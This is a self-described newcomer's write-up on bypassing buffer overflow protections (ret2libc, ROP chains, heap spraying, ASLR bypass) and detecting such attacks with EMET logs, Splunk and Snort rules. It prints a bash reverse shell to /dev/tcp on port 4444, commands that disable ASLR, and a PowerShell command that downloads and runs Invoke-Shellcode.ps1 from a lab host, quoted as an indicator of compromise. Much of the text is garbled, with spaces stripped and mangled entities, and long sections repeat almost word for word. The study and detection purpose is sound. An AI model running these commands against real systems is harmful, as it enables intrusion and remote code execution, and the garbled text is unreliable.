So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

